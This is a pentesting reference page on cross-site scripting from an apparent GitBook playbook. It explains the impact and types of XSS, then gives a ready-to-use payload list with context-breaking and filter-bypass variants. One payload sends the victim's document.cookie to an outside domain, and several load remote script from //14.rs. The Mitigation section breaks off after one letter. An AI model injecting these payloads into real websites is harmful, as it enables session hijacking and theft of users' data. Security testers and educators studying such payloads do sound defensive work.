PenTest Playbook
  • Welcome!
  • Web App Pentesting
    • SQL Injection
    • NoSQL Injection
    • XSS
    • CSRF
    • SSRF
    • XXE
    • IDOR
    • SSTI
    • Broken Access Control/Privilege Escalation
    • Open Redirect
    • File Inclusion
    • File Upload
    • Insecure Deserialization
      • XMLDecoder
    • LDAP Injection
    • XPath Injection
    • JWT
    • Parameter Pollution
    • Prototype Pollution
    • Race Conditions
    • CRLF Injection
    • LaTeX Injection
    • CORS Misconfiguration
    • Handy Commands & Payloads
  • Active Directory Pentest
    • Domain Enumeration
      • User Enumeration
      • Group Enumeration
      • GPO & OU Enumeration
      • ACLs
      • Trusts
      • User Hunting
    • Domain Privilege Escalation
      • Kerberoast
        • AS-REP Roast (Kerberoasting)
        • CRTP Lab 14
      • Targeted Kerberoasting
        • AS-REP Roast
        • Set SPN
      • Kerberos Delegation
        • Unconstrained Delegation
          • CRTP Lab 15
        • Constrained Delegation
          • CRTP Lab 16
        • Resource Based Constrained Delegation (RBCD)
          • CRTP Lab 17
      • Across Trusts
        • Child to Parent (Cross Domain)
          • Using Trust Tickets
            • CRTP Lab 18
          • Using KRBTGT Hash
            • CRTP Lab 19
        • Cross Forest
          • Lab 20
        • AD CS (Across Domain Trusts)
          • ESC1
            • CRTP Lab 21
        • Trust Abuse - MSSQL Servers
          • CRTP Lab 22
    • Lateral Movement
      • PowerShell Remoting
      • Extracting Creds, Hashes, Tickets
      • Over-PassTheHash
      • DCSync
    • Evasion
      • Evasion Cheetsheet
    • Persistence
      • Golden Ticket
        • CRTP Lab 8
      • Silver Ticket
        • CRTP Lab 9
      • Diamond Ticket
        • CRTP Lab 10
      • Skeleton Key
      • DSRM
        • CRTP Lab 11
      • Custom SSP
      • Using ACLs
        • AdminSDHolder
        • Rights Abuse
          • CRTP Lab 12
        • Security Descriptors
          • CRTP Lab 13
    • Tools
    • PowerShell
  • AI Security
    • LLM Security Checklist
    • GenAI Vision Security Checklist
    • Questionnaire for AI/ML/GenAI Engineering Teams
  • Network Pentesting
    • Information Gathering
    • Scanning
    • Port/Service Enumeration
      • 21 FTP
      • 22 SSH
      • 25, 465, 587 SMTP
      • 53 DNS
      • 80, 443 HTTP/s
      • 88 Kerberos
      • 135, 593 MSRPC
      • 137, 138, 139 NetBios
      • 139, 445 SMB
      • 161, 162, 10161, 10162/udp SNMP
      • 389, 636, 3268, 3269 LDAP
      • Untitled
      • Page 14
      • Page 15
      • Page 16
      • Page 17
      • Page 18
      • Page 19
      • Page 20
    • Nessus
    • Checklist
  • Mobile Pentesting
    • Android
      • Android PenTest Setup
      • Tools
    • iOS
  • DevSecOps
    • Building CI Pipeline
    • Threat Modeling
    • Secure Coding
      • Code Review Examples
        • Broken Access Control
        • Broken Authentication
        • Command Injection
        • SQLi
        • XSS
        • XXE
        • SSRF
        • SSTI
        • CSRF
        • Insecure Deserialization
        • XPath Injection
        • LDAP Injection
        • Insecure File Uploads
        • Path Traversal
        • LFI
        • RFI
        • Prototype Pollution
        • Connection String Injection
        • Sensitive Data Exposure
        • Security Misconfigurations
        • Buffer Overflow
        • Integer Overflow
        • Symlink Attack
        • Use After Free
        • Out of Bounds
      • C/C++ Secure Coding
      • Java/JS Secure Coding
      • Python Secure Coding
  • Malware Dev
    • Basics - Get detected!
    • Not so easy to stage!
    • Base64 Encode Shellcode
    • Caesar Cipher (ROT 13) Encrypt Shellcode
    • XOR Encrypt Shellcode
    • AES Encrypt Shellcode
  • Handy
    • Reverse Shells
    • Pivoting
    • File Transfers
    • Tmux
  • Wifi Pentesting
    • Monitoring
    • Cracking
  • Buffer Overflows
  • Cloud Security
    • AWS
    • GCP
    • Azure
  • Container Security
  • Todo
Powered by GitBook
On this page
  • Impact
  • Reflected (Non-Persistent)
  • Stored (Persistent)
  • DOM-based
  • Entry Points
  • # Payloads
  • Popular
  • Context Breaking
  • Bypassing
  • Mitigation
  1. Web App Pentesting

XSS

XSS (Cross Site Scripting) is a client-side code injection attack where an attacker can execute malicious scripts in the web browser.

Impact

  • Account Hijacking: Attackers could steal session cookies and take over victim's session. It could lead to administrative access in case of an administrator account hijack.

  • Credential Theft: Theft of credentials such as passwords from a login page clone.

  • Data Leakage: Personally identifiable information (PII) such as credit card number, SSN, or any data stored in the browser could be accessed.

  • Redirect to malicious webpages, keylogging, downloading malware.

  • Access geolocation, webcam, miccrophone, and files on system.

There are 3 types of XSS:

  • Reflected (Non-persistent)

  • Stored (Persistent)

  • DOM-based

Reflected (Non-Persistent)

When the payload is part of the request that is sent to the server and is reflected back in the response.

For example, a website's dashboard greets the user by their username. If the username is not sanitized properly, it could execute JS code.

Stored (Persistent)

When the payload passed to the web application is stored on the server and executes when rendered elsewhere.

For example, payloads could be saved as comments on a page and then when the comments are loaded, it could execute JS code.

DOM-based

DOM objects are manipulated to execute malicious code. This is an advanced attack as the payload never reaches the WAFs and executes on the client-side.

For example, the "document.write(document.URL)" could be used to retrieve malicious contents of some malicious site and execute it.

Entry Points

Any user-controlled parameter such as:

  • Input fields

  • Host Headers, Referer

  • URL redirection

  • URI parameters

  • File Upload (File name)

# Payloads

Popular

<script>alert(1)</script>
<!--><script src=//14.rs>
url=%26%2302java%26%23115cript:alert(document.domain)
<video><source onerror=location=/\02.rs/+document.cookie>
<script>alert(document.domain)</script>
<iframe src="javascript:alert(1)">
<embed src=//14.rs>
<details ontoggle=alert(1) open>test</details>
<xss onclick="alert(1)" style=display:block>test</xss>
<xss draggable="true" ondragstart="alert(1)" style=display:block>test</xss>
<script>onerror=alert;throw 1</script>

Polyglots:
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`

Context Breaking

HTML Context

Case: <tag> Searched for $input </tag>

<svg onload=alert()>
</tag><svg onload=alert()>

Attribute Context

Case: <tag attribute="$input">

"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()

JavaScript Context

Case: <script> var new something = '$input'; <script>

'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>

Bypassing

Without Event Handlers

<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>

Without Space

<svg/onload=confirm()>
<iframe/src=javascript:alert(1)>

Without Slash (/)

<svg onload=confirm()>
<img src=x onerror=confirm()>

Without closing angular bracket (>)

<svg onload=confirm()//
<svg onload=alert(1)<!--

Without alert, confirm, prompt

<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>

Without a Valid HTML tag

<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it

Mitigation

  • L

PreviousNoSQL InjectionNextCSRF

Last updated 1 year ago